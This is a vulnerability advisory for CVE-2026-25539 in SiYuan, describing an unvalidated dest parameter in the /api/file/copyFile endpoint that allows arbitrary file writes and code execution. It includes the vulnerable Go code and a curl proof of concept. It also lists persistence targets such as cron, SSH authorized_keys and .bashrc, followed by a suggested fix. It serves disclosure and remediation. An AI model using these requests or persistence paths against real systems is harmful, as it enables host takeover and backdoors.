CVE-2026-25539: SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Summary

The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorizedkeys, or shell configuration files.

- Affected Version: 3.5.3 (and likely all prior versions)

Details

- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22) - Location: kernel/api/file.go - copyFile function

go // kernel/api/file.go lines 94-139 func copyFile(c gin.Context) { // ... src := arg["src"].(string) src, err := model.GetAssetAbsPath(src) // src is validated // ...

dest := arg["dest"].(string) // dest is NOT validated! if err = filelock.Copy(src, dest); err != nil { // ... } }

The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace

bash curl -X POST "http://target:6806/api/file/putFile" \ -H "Authorization: Token <APITOKEN>" \ -F "path=/data/assets/malicious.sh" \ -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt'

Step 2: Copy to arbitrary location (e.g., /tmp)

bash curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <APITOKEN>" \ -H "Content-Type: application/json" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: {"code":0,"msg":"","data":null}

Step 3: Verify file was written outside workspace

bash cat /tmp/malicious.sh Output: #!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt

Attack Scenarios

| Target Path | Impact | |-------------|--------| | /etc/cron.d/backdoor | Scheduled command execution (RCE) | | ~/.ssh/authorizedkeys | Persistent SSH access | | ~/.bashrc | Command execution on user login | | /etc/ld.so.preload | Shared library injection |

RCE Demonstration

RCE was successfully demonstrated by writing a script and executing it:

bash Write script to /tmp curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <APITOKEN>" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Execute (simulating cron or login trigger) sh /tmp/malicious.sh

Result cat /tmp/pwned.txt uid=0(root) gid=0(root) groups=0(root)...

Impact

An authenticated attacker (with API Token) can: 1. Achieve Remote Code Execution with the privileges of the SiYuan process 2. Establish persistent backdoor access via SSH keys 3. Compromise the entire host system 4. Access sensitive data on the same network (lateral movement)

Suggested Fix

Add path validation to ensure dest is within the workspace directory:

go func copyFile(c gin.Context) { // ... dest := arg["dest"].(string)

// Add validation if !util.IsSubPath(util.WorkspaceDir, dest) { ret.Code = -1 ret.Msg = "dest path must be within workspace" return }

if err = filelock.Copy(src, dest); err != nil { // ... } }

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb